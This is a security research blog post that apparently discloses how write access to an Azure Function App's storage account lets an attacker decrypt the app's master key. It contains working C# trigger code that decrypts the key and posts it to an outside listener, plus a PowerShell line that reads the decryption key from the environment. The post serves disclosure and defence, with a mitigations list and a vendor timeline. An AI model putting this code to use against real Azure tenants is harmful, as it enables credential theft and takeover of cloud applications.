When deploying an Azure Function App, you’re typically prompted to select a Storage Account to use in support of the application. Access to these supporting Storage Accounts can lead to disclosure of Function App source code, command execution in the Function App, and (as we’ll show in this blog) decryption of the Function App Access Keys.
Azure Function Apps use Access Keys to secure access to HTTP Trigger functions. There are three types of access keys that can be used: function, system, and master (HTTP function endpoints can also be accessed anonymously). The most privileged access key available is the master key, which grants administrative access to the Function App including being able to read and write function source code.
The master key should be protected and should not be used for regular activities. Gaining access to the master key could lead to supply chain attacks and control of any managed identities assigned to the Function. This blog explores how an attacker can decrypt these access keys if they gain access via the Function App’s corresponding Storage Account.
TLDR;
- Function App Access Keys can be stored in Storage Account containers in an encrypted format
- Access Keys can be decrypted within the Function App container AND offline
- Works with Windows or Linux, with any runtime stack
- Decryption requires access to the decryption key (stored in an environment variable in the Function container) and the encrypted key material (from host.json).
Previous Research
Requirements
Function Apps depend on Storage Accounts at multiple product tiers for code and secret storage. Extensive research has already been done for attacking Functions directly and via the corresponding Storage Accounts for Functions. This blog will focus specifically on key decryption for Function takeover.
Required Permissions
- Permission to read Storage Account Container blobs, specifically the host.json file (located in Storage Account Containers named “azure-webjobs-secrets”)
- Permission to write to Azure File Shares hosting Function code
The host.json file contains the encrypted access keys. The encrypted master key is contained in the masterKey.value field.
{
"masterKey": {
"name": "master",
"value": "CfDJ8AAAAAAAAAAAAAAAAAAAAA[TRUNCATED]IA",
"encrypted": true
},
"functionKeys": [
{
"name": "default",
"value": "CfDJ8AAAAAAAAAAAAAAAAAAAAA[TRUNCATED]8Q",
"encrypted": true
}
],
"systemKeys": [],
"hostName": "thisisafakefunctionappprobably.azurewebsites.net",
"instanceId": "dc[TRUNCATED]c3",
"source": "runtime",
"decryptionKeyId": "MACHINEKEY_DecryptionKey=op+[TRUNCATED]Z0=;"
}
The code for the corresponding Function App is stored in Azure File Shares. For what it’s worth, with access to the host.json file, an attacker can technically overwrite existing keys and set the “encrypted” parameter to false, to inject their own cleartext function keys into the Function App (see Rogier Dijkman’s research). The directory structure for a Windows ASP.NET Function App (thisisnotrealprobably) typically uses the following structure:
A new function can be created by adding a new set of folders under the wwwroot folder in the SMB file share.
The ability to create a new function trigger by creating folders in the File Share is necessary to either decrypt the key in the function runtime OR return the decryption key by retrieving a specific environment variable.
Decryption in the Function container
Function App Key Decryption is dependent on ASP.NET Core Data Protection. There are multiple references to a specific library for Function Key security in the Function Host code.
An old version of this library can be found at https://github.com/Azure/azure-websites-security. This library creates a Function specific Azure Data Protector for decryption. The code below has been modified from an old MSDN post to integrate the library directly into a .NET HTTP trigger. Providing the encrypted master key to the function decrypts the key upon triggering.
The sample code below can be modified to decrypt the key and then send the key to a publicly available listener.
#r "Newtonsoft.Json"
using Microsoft.AspNetCore.DataProtection;
using Microsoft.Azure.Web.DataProtection;
using System.Net.Http;
using System.Text;
using System.Net;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Primitives;
using Newtonsoft.Json;
private static HttpClient httpClient = new HttpClient();
public static async Task<IActionResult> Run(HttpRequest req, ILogger log)
{
log.LogInformation("C# HTTP trigger function processed a request.");
DataProtectionKeyValueConverter converter = new DataProtectionKeyValueConverter();
string keyname = "master";
string encval = "Cf[TRUNCATED]NQ";
var ikey = new Key(keyname, encval, true);
if (ikey.IsEncrypted)
{
ikey = converter.ReadValue(ikey);
}
// log.LogInformation(ikey.Value);
string url = "https://[TRUNCATED]";
string body = $"{{"name":"{keyname}", "value":"{ikey.Value}"}}";
var response = await httpClient.PostAsync(url, new StringContent(body.ToString()));
string name = req.Query["name"];
string requestBody = await new StreamReader(req.Body).ReadToEndAsync();
dynamic data = JsonConvert.DeserializeObject(requestBody);
name = name ?? data?.name;
string responseMessage = string.IsNullOrEmpty(name)
? "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response."
: $"Hello, {name}. This HTTP triggered function executed successfully.";
return new OkObjectResult(responseMessage);
}
class DataProtectionKeyValueConverter
{
private readonly IDataProtector _dataProtector;
public DataProtectionKeyValueConverter()
{
var provider = DataProtectionProvider.CreateAzureDataProtector();
_dataProtector = provider.CreateProtector("function-secrets");
}
public Key ReadValue(Key key)
{
var resultKey = new Key(key.Name, null, false);
resultKey.Value = _dataProtector.Unprotect(key.Value);
return resultKey;
}
}
class Key
{
public Key(){}
public Key(string name, string value, bool encrypted)
{
Name = name;
Value = value;
IsEncrypted = encrypted;
}
[JsonProperty(PropertyName = "name")]
public string Name { get; set; }
[JsonProperty(PropertyName = "value")]
public string Value { get; set; }
[JsonProperty(PropertyName = "encrypted")]
public bool IsEncrypted { get; set; }
}
Triggering via browser:
Burp Collaborator:
Master key:
Local Decryption
Decryption can also be done outside of the function container. The https://github.com/Azure/azure-websites-security repo contains an older version of the code that can be pulled down and run locally through Visual Studio. However, there is one requirement for running locally and that is access to the decryption key.
The code makes multiple references to the location of default keys:
The Constants.cs file leads to two environment variables of note: AzureWebEncryptionKey (default) or MACHINEKEY_DecryptionKey. The decryption code defaults to the AzureWebEncryptionKey environment variable.
One thing to keep in mind is that the environment variable will be different depending on the underlying Function operating system. Linux based containers will use AzureWebEncryptionKey while Windows will use MACHINEKEY_DecryptionKey. One of those environment variables will be available via Function App Trigger Code, regardless of the runtime used. The environment variable values can be returned in the Function by using native code. Example below is for PowerShell in a Windows environment:
$env:MACHINEKEY_DecryptionKey
This can then be returned to the user via an HTTP Trigger response or by having the Function send the value to another endpoint.
The local decryption can be done once the encrypted key data and the decryption keys are obtained. After pulling down the GitHub repo and getting it setup in Visual Studio, quick decryption can be done directly through an existing test case in DataProtectionProviderTests.cs. The following edits can be made.
// Copyright (c) .NET Foundation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for license information.
using System;
using Microsoft.Azure.Web.DataProtection;
using Microsoft.AspNetCore.DataProtection;
using Xunit;
using System.Diagnostics;
using System.IO;
namespace Microsoft.Azure.Web.DataProtection.Tests
{
public class DataProtectionProviderTests
{
[Fact]
public void EncryptedValue_CanBeDecrypted()
{
using (var variables = new TestScopedEnvironmentVariable(Constants.AzureWebsiteLocalEncryptionKey, "CE[TRUNCATED]1B"))
{
var provider = DataProtectionProvider.CreateAzureDataProtector(null, true);
var protector = provider.CreateProtector("function-secrets");
string expected = "test string";
// string encrypted = protector.Protect(expected);
string encrypted = "Cf[TRUNCATED]8w";
string result = protector.Unprotect(encrypted);
File.WriteAllText("test.txt", result);
Assert.Equal(expected, result);
}
}
}
}
Run the test case after replacing the variable values with the two required items. The test will fail, but the decrypted master key will be returned in test.txt! This can then be used to query the Function App administrative REST APIs.
Tool Overview
NetSPI created a proof-of-concept tool to exploit Function Apps through the connected Storage Account. This tool requires write access to the corresponding File Share where the Function code is stored and supports .NET, PSCore, Python, and Node. Given a Storage Account that is connected to a Function App, the tool will attempt to create a HTTP Trigger (function-specific API key required for access) to return the decryption key and scoped Managed Identity access tokens (if applicable). The tool will also attempt to cleanup any uploaded code once the key and tokens are received.
Once the encryption key and encrypted function app key are returned, you can use the Function App code included in the repo to decrypt the master key. To make it easier, we’ve provided an ARM template in the repo that will create the decryption Function App for you.
See the GitHub link https://github.com/NetSPI/FuncoPop for more info.
Prevention and Mitigation
There are a number of ways to prevent the attack scenarios outlined in this blog and in previous research. The best prevention strategy is treating the corresponding Storage Accounts as an extension of the Function Apps. This includes:
- Limiting the use of Storage Account Shared Access Keys and ensuring that they are not stored in cleartext.
- Rotating Shared Access Keys.
- Limiting the creation of privileged, long lasting SAS tokens.
- Use the principle of least privilege. Only grant the least privileges necessary to narrow scopes. Be aware of any roles that grant write access to Storage Accounts (including those roles with list key permissions!)
- Identify Function Apps that use Storage Accounts and ensure that these resources are placed in dedicated Resource Groups.
- Avoid using shared Storage Accounts for multiple Functions.
- Ensure that Diagnostic Settings are in place to collect audit and data plane logs.
More direct methods of mitigation can also be taken such as storing keys in Key Vaults or restricting Storage Accounts to VNETs. See the links below for Microsoft recommendations.
MSRC Timeline
As part of our standard Azure research process, we ran our findings by MSRC before publishing anything.
02/08/2023 – Initial report created
02/13/2023 – Case closed as expected and documented behavior
03/08/2023 – Second report created
04/25/2023 – MSRC confirms original assessment as expected and documented behavior
08/12/2023 – DefCon Cloud Village presentation
Thanks to Nick Landers for his help/research into ASP.NET Core Data Protection.